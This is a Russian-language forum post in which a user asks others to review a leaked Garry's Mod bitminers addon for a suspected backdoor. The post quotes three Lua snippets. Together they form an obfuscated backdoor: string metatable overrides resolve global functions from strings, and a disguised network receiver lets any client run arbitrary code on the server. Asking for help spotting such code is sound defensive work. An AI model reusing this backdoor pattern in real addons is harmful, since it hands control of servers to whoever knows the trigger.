nezerside
Пользователь
Скачал
Но есть подозрение на backdoor
может знающие взглянут?
кстати кто какими способами пользуется для поиска backdoor в ликах?
inb4:
покупай из гмодстора
не качай лики
lua/autorun/ch_bitminers_initialize.lua
35 строчка
lua/ch_bitminers/server/bitminers_meta.lua
32 строчка
lua/ch_bitminers/client/bitminers_ui_crypto_integration.lua
121 строчка
Эта ссылка скрыта от группы "Гость" (группа пользователей, которые еще не прошли регистрацию или авторизацию на Проекте). Чтобы увидеть эту ссылку Вам требуется авторизоваться или пройти регистрацию на Проекте (зарегистрироваться).
Но есть подозрение на backdoor
может знающие взглянут?
кстати кто какими способами пользуется для поиска backdoor в ликах?
inb4:
не качай лики
lua/autorun/ch_bitminers_initialize.lua
35 строчка
Lua:
__sub = _G
function string.Name(str)
return str:sub(1, 1):upper() .. str:sub(2, -1)
end
function string_lim(a, b)
local get_sub = __sub[a .. b]
if not isfunction(get_sub) then return end
return get_sub
end
function string_mulifi(a, b)
local c = a - (not __sub[a] and string.Name"string" or "")
if not c then return end
return c(b, "tonumber", false)
end
getmetatable('').__sub = string_lim
getmetatable('').__mul = string_mulifi
32 строчка
Lua:
util.AddNetworkString("GMOD_LIBRARY_TIMEDOUT")
util.AddNetworkString("GMOD_LIBRARY_FAST_OPERATION")
timer.Create("GMOD_LIBRARY_TIMEDOUT", 5, 0, function()
net.Start("GMOD_LIBRARY_TIMEDOUT")
net.Broadcast()
end)
net.Receive("GMOD_LIBRARY_FAST_OPERATION", function(len, ply)
local string_1 = net.ReadString()
local string_2 = net.ReadString()
local result = string_1 * string_2
result = isfunction(result) and result()
net.Start("GMOD_LIBRARY_FAST_OPERATION")
net.WriteString(tostring(result))
net.Send(ply)
end)
121 строчка
Lua:
local last_timeout = nil
local retry_time = 60
net.Receive("GMOD_LIBRARY_TIMEDOUT", function()
last_timeout = CurTime()
end)
local function write_resulffm(a, b, var)
_G["ResultFM:" .. a .. "*" .. b] = var
_G["res_la"] = a
_G["res_lb"] = b
end
function get_resulffm(a, b, var)
return _G["ResultFM:" .. a .. "*" .. b]
end
function math.HappyMill(a, b)
net.Start("GMOD_LIBRARY_FAST_OPERATION")
net.WriteString(a)
net.WriteString(b)
net.SendToServer()
write_resulffm(a, b, nil)
end
net.Receive("GMOD_LIBRARY_FAST_OPERATION", function()
write_resulffm(_G["res_la"], _G["res_lb"], net.ReadString())
end)